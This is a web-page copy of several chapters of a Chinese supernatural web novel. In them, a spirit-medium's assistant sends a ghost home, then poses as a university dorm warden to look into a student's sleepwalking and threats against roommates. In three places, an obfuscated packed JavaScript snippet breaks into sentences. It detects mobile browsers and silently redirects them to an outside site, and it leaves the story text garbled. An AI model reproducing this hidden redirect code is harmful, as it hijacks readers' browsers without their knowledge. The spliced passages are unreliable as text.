黎渔声得知弟弟要回来,动作迅速地准备好了东西,这次招魂都不用,郁之自己走进阵法中,他笑眯眯看着拾冬,说:“师傅,你说我会记得你,可别骗我。下午记得在家等我,我找搬家公司过来,我家随便你住...不过你能住我隔壁吗?方便探讨道法..” 孟永一边念咒一边在郁之,拾冬两人身上来回逡巡。 我家徒弟不得了了,找了个这么有钱的男朋友,甚好甚好。 老夫晚年有福了。 拾冬瞥了不怀好意的孟永一眼,她现在想的只有赶紧把郁之送走,拿到他姐的钱。 “拾冬...” 拾冬看向声音发源处,郁之不知何时走了过来,照旧那副嘻嘻哈哈的模样问:“我马上要走了,拥抱一下吧。” 拾冬摇头拒绝。 郁之嘴角的笑一僵,退而求其次伸出手,“那握手道别总可以吧。” 想想这几天他也帮了不少忙,拾冬犹豫一下,伸出了手。 手心传来淡淡的凉意,郁之站在阵法中,周身起了一圈淡淡的光,安静看着自己,褪去平时嘻嘻哈哈的神态,他的长相当真在人群中非常出挑。 在拾冬想收回手之前,听到他说:“下次见,拾冬。” 拾冬没有回答,看他消失在阵法中,手心还残留着他握手时的力道,拾冬愣了几秒,低头收阵。 “孟师傅,已经好了吗?”黎渔声看到拾冬在收阵,急忙上前询问。 “对,等会应该就会醒.”孟永说着拿出一张三角符,“这个等他醒了,让他贴身携带二十一天,消除他身上的鬼气。” “好,谢谢孟师傅。”黎渔声郑重把东西收好,“那他会记得离魂时候发生的事吗?” “不会,他什么都不会记得。”拾冬把最后一点东西收进包里说道。 “好,谢谢你们。”说完递上两个大红包。 两人离开没多久,病床上的人便睁开了眼,他下床走至窗边,凝望着楼下渐渐走远的两人。 黎渔声站在一旁,问:“接下来您打算怎么办?” 郁之倚在窗边,勾唇一笑:“刚不说了下次见吗?” 黎渔声想起刚刚拾冬一副快点把事干完好拿钱的模样,丝毫没有对郁之的不舍,委婉提示:“要不您换个人设,感觉她不喜欢这款。” 要不换个霸道总裁? 郁之听罢摇头,“不是人设的问题,是她不喜欢男的。” ? 黎渔声还没明白郁之话里的意思,只见他眉梢一挑,胸有成竹笃定道:“不过她会喜欢我。” 我觉得您过于乐观了。 “这副身子坚持不了多久,请您尽快做决定。” 郁之没回答,转身回屋换衣服。 走出医院,孟永在路上问拾冬为什么骗郁之。 “怎么能是骗,这叫善意的谎言,如果告诉他不会,他不肯走,我们什么时候才拿的到钱。”拾冬说着从孟永口袋里顺走一个红包。 “你天天钱钱钱,上辈子指不定是穷鬼投胎。”孟永恨铁不成钢,“那小子家有钱,你和他谈个恋爱...” 拾冬不耐烦打断孟永的唠叨,“恋爱,狗都不谈。” 孟永的晚年保障碎了。 老头朝天叹了口气。 * 拾冬回家后,看到向云黛无精打采躺在沙发上,她的魂体快要坚持不住了。 “郁之走了吗?”向云黛轻轻拉住拾冬的手虚弱地问。 “嗯。” “他下午会来找你吗?没他拌嘴还有点不习惯。” “他不会记得我们,回魂之后的人不会记得离魂时候的一切。” “可是...”向云黛抬头,看到拾冬一脸平静的模样反应过来,“你为什么骗他?” “没什么骗不骗的。”拾冬静静坐着,不理解她和孟永口中的骗。 “他应该会很伤心。” 拾冬不说话,向云黛从小就是这样,花落了,花会很伤心的,蚂蚁死了,蚂蚁妈妈会很伤心的,苹果被虫咬了,苹果会很痛的。 她用自己的怜悯心,感知一切事物。 可是拾冬不是,花落了就是落了,蚂蚁死了就是死了,她不会有太多感觉。 手腕传来冰凉的拉扯感,拾冬低头,向云黛枕在自己手背,声音很低地说:“阿冬,如果我走了,你会难过吗?” 拾冬不知如何回答。 但是她知道,如果现在有人出钱要把向云黛送走,她会去做。 在几秒的沉默里,向云黛知道了答案,她蜷缩成一团哭了。 她也不知道自己在哭什么,是哭自己倒霉,不过是那天快要升职,心情高兴碰巧看到向心弦,所以善心大发想安慰她,没想到被杀了,还是哭面前明明是自己最好的朋友,从始至终都认为是最重要的朋友,她和自己却不是同样想法。 为什么人生对于她来说这么困难,还是只有她是这样? “人生就是这样,哭也没用。”拾冬知道这话很冷血,可是她也做不了再多了。 “阿冬,给我找个替身吧。”向云黛攀上拾冬的手臂坐起来,语气急促到语无伦次,“之前听说的,我也忘了听谁说,鬼可以找替身,代替那个人活下去,阿冬,帮我找一个,这样我,你,郁之就还能接着在一起了,阿冬,可以吗,帮我找一个…我不要消失,我不要死…” “云黛,你想做杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578694|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人犯吗?。” 云黛顿了几秒,手轻轻垂下,捂着脸哭了起来,“可我真的有事没完成。” “嗯…”拾冬看着眼前接近透明的云黛,知道她没有怪陈青。 鬼魂如果有怨气,便会像陈星一样徘徊在世间,但云黛没有,她是透明的。 一直以来,都是善良的云黛。 “阿冬,再给我两天时间,到时候我想你亲自送我走。” “好。” 云黛之后消失了两天,第三天中午的时候,拾冬接到刘友传来的便笺,说他在孟老头那喝酒,问她来不来,正要回复时,向云黛出现了。 “阿冬我回来了。”向云黛疲惫不堪躺在拾冬旁边。 “嗯,决定好了吗?”拾冬放下手机,想处理完这边的事再去。 “对。”向云黛低着头坐起来,“反正都是要走的。” 是啊, 人总是在离别。 拾冬想摸摸她的头,就像小时那般,可隔了十几年的生疏促使她放弃了。 “我去准备东西。”拾冬站起来,还没有走两步听到云黛在后面叫她名字,一扭头,拾冬瞬间失去了意识。 向云黛刚刚,叫了她的全名。 * 梁楹,丁照两人今天好不容易同时有空,约好一起去看电影,在路口等红灯时,梁楹眼尖,指着不远处的人说:“那个是不是拾冬啊?” 丁照从手机屏幕上抬头,眯了眯眼,“好像是..” “她旁边那个男人是谁?” “不知道。” “会是男朋友吗?”梁楹八卦因子蠢蠢欲动,“拾冬看上去比较冷感。” 丁照拿过中控台的眼镜戴上,不远处的两人并肩走着,男人不知道在说什么,拾冬像是在听,但没有说话,随着两人越走越近,丁照注意到,男人眼角有一道疤。 “滴滴滴” 绿灯了,丁照收回视线松下刹车,车开出一小段后,丁照问梁楹有没有想过把拾冬变成他们局里的编外人员,说不定会对破案有帮助。 “确实很有帮助。”梁楹手撑着头,倚在敞开的车窗边,任由风把她的短发吹乱,“不过,我还是想靠自己。” “梁警官政治立场很坚定。” 梁楹哈哈笑起来,忽而想到什么,眼神跟着落寞,“但是如果有机会的话,我想问问那件事。” 丁照知道她在说什么,岔开话题,而路上遇到拾冬的小插曲很快被两人忘记。 * 拾冬醒来,四周一片漆黑,她不知道自己在哪,习惯性地摸了摸,发现是在自己家。 她打开桌旁的小夜灯。 手机摆在桌边,一打开,满格的电,已经是晚上十一点了。 她在床上坐了会儿,感受身体似乎没有什么不适,起身走出卧室。 客厅空荡荡,客厅桌上,放着一个信封。拾冬走过去拆开,潦草扫了几眼把信合上,信里并没有写她为什么上自己身,也没有写她今天用自己的身体做了什么,那么留下这封信的意义在哪。 抒情的话她并不想多看。 人果然是在变化的。 拾冬把信随身搁在桌上去洗澡,热水浇下来的一瞬,登时没忍住闷哼了一声。她关上热水,走到镜子前,发现右肩赫然印着一个手掌印。 12. 第 12 章 今天下雨,闹市菜场满是污泥,赵枫皱眉在台阶上不耐蹭了蹭鞋底的泥,随后把伞立在门口。她站在店门口,往里探头,眼扫到摆放整齐的黄纸元宝,挂在墙上的花圈,再一转头,眯眼笑的纸扎小人撞进眼里,她咽了咽口水,对着里头喊:“有人在吗?” 没半分钟,店内帘子掀开,走出一老头。 蓝布褂子,个头不高,额头道道沟壑,抬眼看人时,褶皱愈发明显。 “买什么?”看着孱弱的老人,声音倒中气十足。 赵枫走上前两步,悄声道:“我不是来买东西的,我想走阴。” 孟永从柜台抽出一根旱烟杆,波澜不惊“嗯”了一声,一边往里倒烟丝,示意她继续。 “是我女儿。她现在在明泉大学读大二,上个月底辅导员给我打电话说我女儿梦游,要我带去医院看看。去医院查了,医生说孩子是最近压力大,开了点药就让我们回去了。起初我没当回事,可是没一个星期,有天晚上辅导员给我打电话,说孩子不见了,监控拍到她出校门后就再也没回来,我们当即报了警,找了一夜,我女儿竟然自己回家了..” “你去哪里了,一晚上不回家!” “见朋友了。” “什么朋友!电话也不接!” “我朋友家没信号。” “你朋友住哪,怎么会没信号!” “地下啊,地下不就没信号。” 赵枫直到现在回想起当时女儿说话的神情,都不禁起鸡皮疙瘩。鼻尖传来阵阵烟草味,孟永一口接一口抽着烟,依旧那副淡淡神情,想来这种事他早听习惯了。 “我立马带她去了医院,检查做了一大堆也没查出个什么来,出了这事,辅导员不敢担责,要我先把女儿接回去住几天。我把孩子领回去,我晚上怕她梦游,和她一起睡,可半夜总能被她的说话声吵醒,她坐在床边像是在和人说话,我怕她在梦游不敢吵醒她,我听到她…” 天色看上去比刚刚更暗了,屋外的雨声淅淅沥沥,赵枫瞥着这一屋子的纸扎,手不自觉拽紧挎包肩带,正准备接着说时,一直垂着的帘子伸出一只手,紧接着出现一白衣女子,手里拿着红烛直勾勾盯着自己, “啊!” 孟永被这突如其来的尖叫吓得呛了烟,猛咳了几声扭头看到拾冬,不耐烦剜了一眼,回头解释:“这是店员。” 拾冬看也没看赵枫,把蜡烛放在柜台说:“又停电了。” “嗯。”孟永一边在地上磕出燃尽的烟丝,一边对惊魂未定的赵枫发出指示,“接着说。” “就...我听到...她说...说..先杀这个,再杀...那个,还说..要怎么杀,”赵枫看到拾冬的影子缓了过来,“我记住了那几个名字,一问辅导员,全是班里的同学。” “这肯定不是我女儿说出来的话,我女儿从小到大都很听话,她肯定是被脏东西缠上了,老…老板,你有没有法子。”赵枫看救命稻草般恳切央求道。 “你人都没带来要我怎么看?”孟永犀利反问。 赵枫一时语塞,这是她找的第三个走阴人了,前两个都把人带去了,非但没收获,还惹她们母女俩大吵一架,现在女儿也气得搬回寝室住了。 “她..今天有课。” “这一阵子她身边有发生什么事吗?”孟永不以为意询问。 赵枫努力想了想,而后一副恍然大悟的样子迫不及待提供情报:“上个月他们学校有个同学自杀了。” “死了?”孟永问道。 “没死,还在医院。”赵枫补充道,“不过我女儿好像不认识这个同学,我们每天都打电话,如果认识,这么重要的事肯定会跟我说。” 再问下去也没什么意义,孟永从柜台抽出一张纸,“付两百,生辰八字写下,之后再把人带来。” 赵枫头一次碰到人没到先付钱的操作,但不知为何,心里莫名信任眼前这老头,她写下生辰八字后,连着两百块钱一起交到柜台店员手里。 这么小的纸扎店竟然还雇店员,看着和月月差不多大。 赵枫临走前看了一眼拾冬,而后撑伞离开。 人一走,拾冬迫不及待抽出一百塞进自己兜里,“见者有份。” “在我这住了五天,房租按20块算。” “……”拾冬掏出还没揣热乎的钱扔进斗柜抽屉,重重关上,“你也就只能赚我这100,明天我就去学校报道。” “什么学校?你考上大学了?” “嗯,那人女儿的大学。” 见拾冬不像撒谎的样子,孟永听着新鲜,苍老脸上露出点兴致,“你这丫头有出息了。” 拾冬托着腮,手指悬在红烛上绕圈,灯影摇晃映出她狡黠的脸,“嗯,那个学校女寝的宿管阿姨。” 沉浸在我家店员考上大学了的喜悦中的孟永:…… “滚犊子。” * 拾冬一大早拉着行李箱离开纸扎铺。 宿管这工作是她海投简历误打误撞得来的,面试当天画了个显老妆,用伪造的身份证,跟劳务派遣的hr撒谎自己四十,离异,高中毕业,十分需要一份工作。 说的已婚已育的HR同心情泛滥,顺利通过面试。 实际上她看中这工作包住。 几天前她被房东老太赶了出来,这烦人的老太竟然趁她不在家,把她行李打包扔出来了。 公交车来了,箱子很沉,拾冬因为伤了肩,这一下竟然没提上去,她换只手正要提时, “阿姨,我来帮你。” 拾冬扭头,身后站着一男一女,看上去高中生模样,男生急于在女生面前表现自己,不等拾冬应允,自顾自上前,第一下没提起,表情尴尬起来,快速瞥了眼身后的女生,暗暗咬牙提劲,双手并用终于提上了车。 “谢谢。”拾冬面对浪费了她两分钟的少年毫无感情道了谢。 “不客气阿姨,应该的,您上车小心点。” 拾冬刷卡上车,找了个空位坐下,车窗映出她的身形,粗框眼镜,齐脖短发,画出来的法令纹以及格子POLO衫,这么一看,高中生叫自己阿姨也说得过去。 嗯,符合她心里对宿管阿姨的刻板印象。 拾冬对自己的造型很满意。 不到十站的距离很快就到,拾冬在公交车上已经和相关负责老师联系上了,在保卫处登记来客访问后径直去了政教处。 “你好,我找谢建安主任。”拾冬在门口礼貌敲了敲门。 被叫到名字的人迟缓几秒扬手站起来:“你是新来的宿管阿姨对吧。” 拾冬点头。 有着中年男人标配的谢主任给她倒了杯水,接着飞速坐回位置,对着电脑心不在焉介绍工作内容,从镜面反光来看,这把牌他要输了。 果不其然。 谢主任心有不甘退出游戏,嘴里嘟囔着,“刚才应该打五。” “……” 在意识到旁边还有人后,谢主任尴尬清了清嗓子,这才打量起面前的“阿姨”,着装发型都很土气,但细看皮肤不错,简历上说她有四十,这么一看说不出的违和。 “主任,没别的事我就去寝室了。”拾冬出声打断他过于审视的视线。 “哦..哦..”谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578695|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主任回神起身,“那你先去寝室找刘姐,具体事项她会告诉你。” “好,谢谢主任,主任再见。”拾冬说完,推着箱子离开。 去女寝的路上看到不少同学,他们三三两两走着,谈论的话题大同小异,恋爱,没完成的作业,最新上映的电影,以及等会去哪里玩。 拾冬来到A栋寝室,刚到门口,看到里面围着一圈人,人堆里有个声音很激动地说要换寝。 “她晚上梦游太吓人了,我没办法跟她一起住,我今晚就要搬走!” “换寝要辅导员同意,哪能说换就换,再说现在也没空寝室。” “我不管,我今天一定要换寝,你给我换。” “不管什么不管,其他几个同学都住的好好的,你想换要辅导员给我打电话。行了,别挤在这,该干嘛干嘛去。” 围观的人群没一会儿各自散开,拾冬走到宿管门口,里面坐着一位正在打毛衣,看上去五十多岁的阿姨,听到敲门声,不耐烦抬起头。 “找谁?” “刘姐,我是新来的宿管,谢主任要我过来报道。” 刘姐打毛衣的手没停,从头到脚扫了拾冬好几眼后,说:“先进来吧。” 拾冬进了这不到八平米的宿管办公室,发现里头还有一小门,拾冬看到半个床脚,猜测这应该是晚上值班时小憩的地方。 鼻尖萦绕着淡淡香灰气。 刘姐从桌上拿出几个文件夹,十分有条理地给拾冬介绍主要工作。 早上六点开门,门禁10点,10点之后查寝,10点半统一熄灯,晚上轮流值班,实在困可以在里面小床眯一下,但听到外面按铃要起来。每天要检查线路,电器,清理各层垃圾,有问题及时报修,寝室不允许养宠物,也不能有小家电,查出来全部收缴。 “还有一些学校通知或者失物招领,都通过这个喇叭进行播报,按这个就行。”刘姐指了指桌上的麦克风按钮,接着从抽屉里拿出一张卡,“这是一卡通,可以刷门口门禁,食堂吃饭也用这个卡,上个宿管用的,应该还有点钱,要没钱你自己充,食堂三楼可以充卡。” 拾冬接过卡。 这时桌上的黑色对讲机响了,里头传来声音,“刘姐,洗衣机修好了,你上来看一下。” 刘姐回了个知道,放下手里打到一半的毛衣,“现在没什么事,跟我上去熟悉一下环境。” “好。” 接下来大半天,拾冬大部分时间都待在一楼宿管办公室摸鱼,旁边的刘姐专心打毛衣不唠家常,拾冬倒也乐的自在。 既然有人要当咸鱼,那这个人为什么不能是我。 拾冬撑着下巴看女生们进进出出百无聊赖想着。 晚上拾冬值班,熄灯之后,寝室楼渐渐安静了下来,只有走廊灯亮着。 秉着第一天上班总得做做样子的拾冬熬到凌晨一点,她摘下假发,发现才戴一天的假发竟然开胶了,干脆把头发剪了懒得麻烦。 但又有点舍不得自己的头发。 正思索着,楼上传来急促脚步声。 有人下来了,还不止一个。 拾冬快速戴上眼镜,还没来得及调整戴歪的假发,楼上跑下三四个人,其中为首的正是上午说要换寝的女生。她一看到拾冬哭丧着脸扑了上来哀嚎,“阿姨,有鬼。” 拾冬被扑的一趔趄,开胶假发落在女孩臂弯, “啊!!!” 凄厉尖叫声震响楼道感应灯。 真要命。 拾冬波澜不惊拿过假发重新戴上,一边懊悔想着, 果然不该贪小便宜买劣质假发。 13. 第 13 章 拾冬跟着女生上了三楼,三楼走廊站着七八个出门看热闹的人,拾冬板着脸斥道:“全部回去,看什么看。” 这是刘姐白天教的,要凶一点她们才服管。 其实不用教,拾冬天生看着就凶。 果不其然,女生们看了看冷冰冰的拾冬,不情不愿回了寝。 一推开310寝室的门就看到阳台蹲着一人,身子前后摇动,头磕在阳台围栏发出沉闷声响,嘴里念念有词,距离太远,听不清。 “梦游?”拾冬回头问道。 说换寝的女生猛摇头,抖索否认:“我觉得是鬼上身。” 拾冬走进去,余光瞥到桌上电脑,“招魂”两个字映入眼帘。 难怪说要换寝。 人菜瘾大在宿舍看恐怖片,遇到梦游就说闹鬼。 不过她也不知道梦游怎么处理。 女孩嘴里念念有词,但即使距离这么近,拾冬也听不清内容,她站在女孩旁边,掏出手机准备百度时,蹲着的人突然站起来转向她, “你看到我了。” 拾冬停下打字的手指, 女孩身后,一团模糊影子微微晃动。 * 赵枫又一次接到辅导员电话,她向单位请了假,急匆匆赶到学校,女儿叶如月坐在办公室,旁边的辅导员正轻声细语和她说着话。 “如月妈妈来了啊。”辅导员看到赵枫忙起身迎接,叶如月依旧安静坐在椅子上。 “又出什么事了吗?” 辅导员僵笑着把赵枫领远些,低声问道:“上次带如月去医院,医生有说什么吗?她昨晚又梦游了。” “医生说孩子压力大,吃药就好了。” “如月之前在家住着好好的,怎么又突然回寝了?” 赵枫没好意思说是自己封建迷信惹出来的,但转头琢磨出辅导员责备的语气,脸色一沉发问:“老师,我孩子交了学费,怎么就不能住寝室了。我孩子在家好好的,到了学校净出事,你们学校现在是不想负责了是吧?” 辅导员忙说不是,把昨晚的来龙去脉说了一遍,“主要是如月晚上说要杀室友,现在同寝的几个同学都吓坏了,这事可大可小,如月妈妈,你也体谅体谅我们。” 杀室友这话赵枫在家就听过,没想到如月在寝室也说了。 赵枫心虚,没搭腔走到叶如月身边,“如月,今天请个假吧,妈妈带你去散散心。” 叶如月点了点头,“我回寝室收拾一下东西。” 赵枫在楼下等女儿,一楼宿管办公室的阿姨依旧埋头打毛衣,她想起路上叶如月说是宿管阿姨把梦游的自己扶上床,趁人还没下来,走到门口笑容可掬向人道谢。 “昨晚不是我值班,是另一个宿管。”刘姐掀了掀眼皮解释道。 “哦..那替我向另个阿姨说声谢谢。”赵枫尴尬笑了笑。 刘姐应都没应,态度冷淡到让人不满。 这都要夏天了,织毛衣给谁穿。 赵枫在心里嘀咕,没一会儿女儿下来了,两人一起离开。 * 拾冬一觉醒来已经是下午两点,昼夜颠倒,即使睡了七八个小时脑子依旧昏沉,她从员工宿舍爬起来洗漱。 她们的员工宿舍就在一楼寝室尽头,和女生宿舍布局一样,不足十平,带个小卫生间,厅里放着一张子母床和一张折叠军工床,拾冬睡在军工床,子母床刘姐睡。 拾冬从床上爬起,刘姐是个会收拾的人,房子即使不大,也整理得井井有条。 最醒目的,是靠近窗台那个香炉,香还燃着。 从卫生间洗漱完拾冬打算拿卡去食堂吃饭,明明记得放在桌上,如今却怎么都找不到,不足十平的房子她足足找了十来分钟,终于在子母床下找到了自己的卡。 拾冬用纸巾擦干净上面的污渍,子母床上挂着的风铃发出“叮铃铃”声响,宛如孩童清脆笑声。 她拿上手机关门离开。 拾冬在去食堂路上,猜想前天来铺子的女人应该会带叶如月去找孟永,她刚点亮手机,充了一晚上的手机显示电量不足,拾冬找到孟永的号码,刚拨过去没几秒手机自动关机了。 昨晚叶如月身后的东西很奇怪,不是生魂,但也不是恶鬼,这种形态的魂魄未成形,有点像小孩。 小孩。 拾冬思索着走进食堂。 食堂果然便宜又大碗。 拾冬往砂锅米线里倒红彤彤的辣油,这个点吃饭的人不多,隔了两排的几个同学在聊八卦。 “听说昨晚叶如月又梦游了,还说要杀秦柳,好吓人。” “说不定这是叶如月真实想法,毕竟她们闹过矛盾,程锦芙还出了那样的事。” “程锦芙现在还在医院躺着,能救过来吗?” “不知道,说是很有可能成植物人。” “成植物人那也太惨了。” “惨是惨,但是你们不觉得杨晔更惨吗?听说他打算休学了。” “诶,怎么那么像五六十集的狗血剧。” 女孩们没心没肺笑起来,有个女生吃完擦了擦嘴催促道:“今天下午足球比赛你们去不去啊,去晚了抢不到好位置了。” “哦,对对,差点忘了。” “快走快走,听说我们班对的是郁之那队,郁之上次出院住了这么久,终于返校了。” 拾冬挑花椒的手顿了一下。 不会这么倒霉吧。 为了验证到底是不是郁之,吃完饭后,拾冬特地绕到足球场,走近铁丝网朝里望,想看看有没有郁之。 盯了大概十来分钟,没看到相似的人,拾冬放下心吐槽:“郁之这名字起得也太大众化了。” “哪里大众?” 声音传到耳畔的那一刹,球场响起进球的欢呼声,拾冬转头,看到十来天不见的郁之。 太阳有些大,郁之没有打伞,整个人晾在阳光下,穿着白色球服,衬得格外青春。 他斜靠在铁丝网上,和离魂时的状态不同,此时他活人感很强,望向拾冬的眼睛里闪着细碎的光,嘴角带着对刚刚吐槽的戏谑,为自己的名字争取权益:“郁之这名字没那么大众吧。” 他应该是不记得自己了。 拾冬不想过多和他接触,说了句“抱歉”后,离开人声鼎沸的球场。 郁之出神盯着走远的背影,这时有同伴同学经过,拍了拍他的肩膀,问:“看什么这么出神?” “一个幻觉。” * 赵枫做好饭又一次敲响叶如月的门,“月月,你生气归生气,出来吃点饭吧,妈妈做了你爱吃的糖醋小排,你出来吃点吧。” “我不饿,先睡了。” 赵枫无奈回了客厅,她拿出手机点开和丈夫的对话框,最后一句是一周前,她跟丈夫说女儿最近有点奇怪,丈夫只回了一句“你管就行,我出差忙。” 忙,忙着照顾你刚出生的儿子吧。 在一起二十几年,要说爱,早没了,现在双方撑着一口气完全是为了维持恩爱夫妻最后一点体面,赵枫没什么好怨的,怪自己肚子不争气生不出儿子,现在这个唯一的女儿又出这怪事。 今天本来想带去给孟永看看,结果刚上车叶如月就察觉到这不是回家的路,质问是不是又想带她去看莫名其妙的人, “妈,都21世纪了,你能不能别封建迷信了!” “月月,我们就去看看,十分钟,十分钟我们就走。” “一分钟我都不会去,你要是不带我回家,我现在就跳车。” “月月,你就听妈妈一次吧,妈妈是为了你好啊。” “从小到大,我听你的还不够多吗?你什么时候能听我一次?!” 赵枫看着低头垂泪的女儿无奈回了家。 这日子怎么过成这样了。 女人深深叹气。 * 今晚又是拾冬值班,刘姐说她没来的前三天都是自己值班,现在她来了,理应补回这三天。 真是一点亏都不吃。 想着还要长期合作下去,闹太难看也不至于,拾冬便答应了。 查完寝,拾冬在办公室坐了半小时就打算去睡觉,门“咚咚”两声,秦柳站着外面,晃了晃手里拎着的奶茶,用气音说:“阿姨,请你喝奶茶。” 拾冬没接,“这么晚了不睡觉下来干嘛?扣你寝室分。” “别呀别呀,阿姨,我是有事想问你。”秦柳走进来自来熟坐下,戳开奶茶熟练喝了一口,“叶如月昨晚跟你说了什么,你脸色有点不太对,是不是说了很恐怖的话?” “没有。”拾冬否认。 “肯定有,叶如月跟我们处的不好,全层寝室都知道。她肯定在诅咒我们,对了,她还有一本死亡笔记你知道吗?” 哪来的中二傻白甜。 拾冬本想赶她走,但联想起下午孟永说今天没人来找他,猜想女人没带叶如月去。 这么担心女儿为什么不带去,最大可能就是她带不了,叶如月不愿意。 她坐在秦柳身边,发问:“叶如月什么时候出现这种情况的。” 秦柳来了兴致,收起手机说:“上个月,她那个狐朋狗友自杀没多久。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578696|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾冬回想起那个女人的话,当时她说叶如月不认识这个同学。 “什么狐朋狗友,听不懂。” “阿姨,别急,我给你好好讲讲。” 拾冬眼睁睁看着秦柳从外套兜里掏出瓜子哗啦一声倒在桌上。 * “自杀的人叫程锦芙,我们专业分两个班,起先她和我们是同一个班,但我们不同寝,程锦芙这个人吧,有点胖人也不怎么开朗,快半学期了都没跟班里人讲过几句话。但是小荔枝,就是昨晚那个短头发的女孩子,有天晚上说起了她。” “诶,你们觉不觉得程锦芙这人阴森森的啊?” “什么意思?”最近迷上看恐怖片的秦柳鲤鱼打挺翻身八卦,“快讲讲。” “今天体育课,我不是来例假没跑圈吗,程锦芙也在,她一直嘀嘀咕咕,我就犯贱偷听一下,结果你们猜她说什么,她在评价从她面前经过的人。” “我靠,真的假的。”秦柳对面的女生也来了兴致,趴在床沿,“她说我了吗?” “我没敢靠太近,但隐约听着不像好话。” “这人心理有问题吧,平时看不出来啊。”寝室另一女生跟着发出感叹。 “对了,如月,我听到她说你胖,你要不明天去找她对峙,我亲耳听到的。”小荔枝义愤填膺地控诉。 但另一头的叶如月已经戴着耳机睡着了。 “算了算了,先睡觉吧,明天再说。” 茶话会不了了之。 “我以为这事就这么过去了,想着知道她是这么个人不理她不就完了,可没多久,某次课间有人不小心碰倒了她的书,发现里头有个本子,上面用红笔写满了诅咒班里人的坏话,是每一个人哦,她平等地诅咒了我们全班,还画了可怕的符咒在我们名字上。 这事搁谁谁不膈应,班里人集体孤立她,后来她自己受不了,转到二班去了。二班有个家里有钱的小公主,应该是把小公主得罪了,小公主可不惯着她,把她打了,还联合她寝室的人一起整她,虽然这样不道德,但是撩者自贱,她自找的。”秦柳说完吸了一大口奶茶。 “这事和叶如月有什么关系?”拾冬针对秦柳的话发出灵魂质问。 “对啊!我也想问!”秦柳一拍大腿,带着清澈愚蠢,满脸百思不得其解,“我也不知道叶如月什么时候和程锦芙搞到一起的,而且程锦芙亲口说,叶如月也有参与,我们寝室的坏话全是叶如月提供的,难怪当时我们寝室在说程锦芙的时候她不吱声。我们寝室知道这事后,就去问她,叶如月没吭声,那不就是默认吗!阿姨你想想,平时看着挺好相处的同学,结果转头说你坏话,诅咒你,要我们像什么都没发生过一样,我们还真做不到。” “所以你们也孤立叶如月了?” “昂,不行啊?乐山大佛我可不坐。”秦柳理所当然磕着瓜子,“不过她衣柜里的蟑螂蛐蛐啥的,还有被人锁厕所泼水这些可不是我们,我猜是我们班喜欢搞霸凌的那个干的。” 拾冬接着发问,“程锦芙为什么自杀?” “唔..”秦柳皱眉的神情像看晚间八点的狗血电视剧,“叶如月有个追求者叫杨晔,叶如月应该不喜欢他,但程锦芙喜欢他,我喜欢你,你却喜欢我朋友,我朋友还不珍惜我喜欢的人,两人有天闹掰,程锦芙情绪激动冲出马路,撞车噶了。” “哦,没噶,还在医院。快噶了。” …… 拾冬听到这,大致厘清了来龙去脉。 原以为八卦到此为止,没想到秦柳接着补充,“还有更狗血的,撞死程锦芙的公交车司机竟然是杨晔他爸,杨晔他爸因为这事丢了工作,还要赔钱,程锦芙现在躺医院的钱都是杨晔家出的。这不是离谱他妈掉河里,救他妈离谱。” …… …… 不知不觉已经十一点半了,秦柳瓜子嗑了一垃圾桶,得到情报的拾冬起身把人打发走,“太晚了,回去睡觉。” 八卦了一晚上的秦柳这会儿神清气爽,拍了拍身上的瓜子壳,“好,阿姨,反正我说的都是真的,不管昨晚叶如月跟你说什么,都不要相信她,她才是坏人。” 随即当着拾冬的面做了个仙侠剧常见手势,嘴里念着“急急如律令!恶鬼退散!”百米冲刺跑上楼。 “……” 四周恢复宁静,虽然知道了整件事经过,但最大的疑点还是在叶如月身后那个未成形黑影,会是没死,但魂魄出窍的程锦芙吗? 拾冬正思索着,外面传来“咚咚咚”类似乒乓球的拍打声,她循声出去,昏暗走廊里,一颗明黄色的弹簧球朝自己径直滚来。 14. 第 14 章 今天手机依旧没充上电,拾冬洗漱完趿着拖鞋走到宿管办公室,刘姐照旧专心致志打着毛衣,拾冬站在她身边一边插插座一边问宿舍寝室插座是不是坏了,怎么都充不上电。 “那个插座是有点松,你下次在这充了再拿回去吧。”刘姐在头皮上划拉了几下毛线针,无关痛痒回复。 “哦。”拾冬看了一眼刘姐手里的毛衣,“刘姐,你给谁打毛衣啊?看样子像小孩的。” “家里亲戚十月生,我给小孩打两件。” “这样啊..”拾冬若有所思点了下头,“我还以为给你家孩子打呢。” 针错了几针,刘姐埋头拆线,不知是没听到还是不想回。拾冬自觉无趣,留手机充电,准备继续去食堂吃昨天的米线。 人走没多久,充电头“啪嗒”一声从插座掉落,刘姐欠身插上,往旁狠狠剜了一眼。 原以为今晚拾冬又得接着值班,可晚上时候刘姐竟然主动提出今晚她来,拾冬当然没意见,趁门禁时间还没到,她出了一趟校门。 